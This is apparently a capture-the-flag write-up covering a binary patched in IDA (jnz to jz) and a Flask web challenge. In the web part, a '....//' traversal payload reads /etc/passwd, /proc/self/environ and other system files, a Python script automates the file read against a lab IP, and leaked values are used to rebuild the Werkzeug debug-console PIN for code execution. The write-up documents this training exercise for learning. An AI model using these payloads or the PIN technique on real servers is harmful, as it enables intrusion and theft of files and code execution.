Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 42
Content-Type: application/json;charset=UTF-8
{"secret_key":"r00t{LITERALLY_FAKE_FLAG}"}
Got the flag
Flag: r00t{you_4re_kind@_sm4rt_t0_be_H#R#}
Let us do our standard checks
Nothing out of the ordinary
Running it shows this
Similarly to Go Dark
let us run strace
Yet again we see it does nothing!
Loading it up in IDA shows this
Hmmm it doesn’t seem to do anything and why’s that?
Well let us take a look at the disassembly
From IDA’s nice graph view we can see the following instructions:
mov [rbp-4], 0
cmp [rbp-4], 1
jnz return
mov esi, 8
lea rax, flag
mov rdi, rax
call printFlag
We can simply see that we would never get the flag because after it initializes the variable to 0 it compares it to 1 which is never going to be True thus jumping to the portion where the program returns
Also if the check is True then it sets up the register for calling the printFlag
function where rdi
points to the address of the flag and rsi is set to 8
So how do we solve this?
Well i yet again patched it
We can simply patch the jnz
instruction to a jz
instruction
Edit -> Patch Program -> Assemble
Now we save the patch like we did previously
To get the flag, we simply just execute the binary
Flag: r00t{p4tch_th3_bin_and_h4ve_fun}
Going over to the url provided shows this
I tried stuffs like sql injection but it didn’t work so i created an account
After login in i saw this
Seems we can read another poem and on doing that i noticed the url
It looks like it’s directly getting the poem from /
and with this i decided to play around with local file inclusion
After some time trying some payload this worked for me:
http://94.72.112.248:10011/dashboard?file=....//....//....//....//etc/passwd
Ok now what?
The web app is a python based server but uses nginx as the reverse proxy
How did i figure that out?
Simply by reading the environment variable
http://94.72.112.248:10011/dashboard?file=....//....//....//....//proc/self/environ
Now we know that it’s a werkzeug server and one thing you might try here is maybe reading the flag?
But that’s not possible because i read the cmdline file and saw this
So that executes /start.sh
and on reading that i got this
#!/bin/sh
#secure start chmod 600 /start.sh
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt
# Start your Flask app
nginx -g "daemon off;" & python3 /app/main.py
The flag name was randomly generated so that means we need to know it before reading it
This means we need to get RCE
One thing you should note is that the session expires after few minutes which can be annoying but i wrote a script that makes it easier to interact with the arbitrary file read
import requests
from bs4 import BeautifulSoup
base_url = "http://94.72.112.248:10011"
login_endpoint = "/login"
dashboard_endpoint = "/dashboard?file=....//....//....//"
login_data = {
"email": "a@a.com",
"password": "a"
}
def main():
while True:
query = input("> ")
if query != "q":
with requests.Session() as session:
login_url = f"{base_url}{login_endpoint}"
login_response = session.post(login_url, data=login_data)
query = query.replace("/", "%2f")
dashboard_url = f"{base_url}{dashboard_endpoint}{query}"
dashboard_response = session.get(dashboard_url)
soup = BeautifulSoup(dashboard_response.text, "html.parser")
content = soup.find_all("p")[1]
print(content.get_text())
else:
quit()
if __name__ == "__main__":
main()
We can confirm it works!
Now how do we get RCE?
I wanted to actually read the application source code which is located at /app/main.py
but it didn’t allow me
But because we know it’s a wergzeug server and the challenge name is console-idation
we can assume that it’s running in debug mode
To confirm that we can try access /console
At this point it’s clear on what we should do
Basically we need to leverage the file read to generate the debug pin
You can read more on it here
I actually attempted to use an automated exploit with some few modifications at first but that didn’t work
But it gave me insight on all the data i needed like the flask path which is required for the pin generation
I wrote a script alternatively to find it and you can get it here
But any ways here’s what we need for generating the pin:
probably_public_bits:
- username: root
- modname: flask.app
- getattr(app, '__name__', getattr(app.__class__, '__name__')): Flask
- getattr(mod, '__file__', None): /usr/local/lib/python3.9/site-packages/flask/app.py
Now this is the tricky part and that’s getting the private_bits
value
I exfiltrated the debug.py
source code from the server and you can find it here because it’s easier to reference what we are meant to do
For the str(uuid.getnode())
which is the server mac address we can get that by identifying the active network interface used by the app
- /proc/net/arp
- /sys/class/net/eth0/address
From doing that we get the mac as 2485377892361
which is the equivalent to str(uuid.getnode())
from here
Next we need the second value which is the machine_id
Since i’m a lazy person i just copy/paste the machine_id made some modification and ran it
But for it to work we need to exfiltrate three files:
Cool only the last two is available so i just saved them and ran the script
Now the machine id is basically b74d9c2d-6b44-4cae-ba65-bc72beee82ef72e167d0b32f63740bd9e2c72f1a711a59903070e41f3c6a1ca6d8e563ab16ae
and we need to add that to our final script to get the pin
Using that pin worked!
And now we can get code execution and read the flag
Flag: r00t{069aba00c086ad9da32ddd8e9}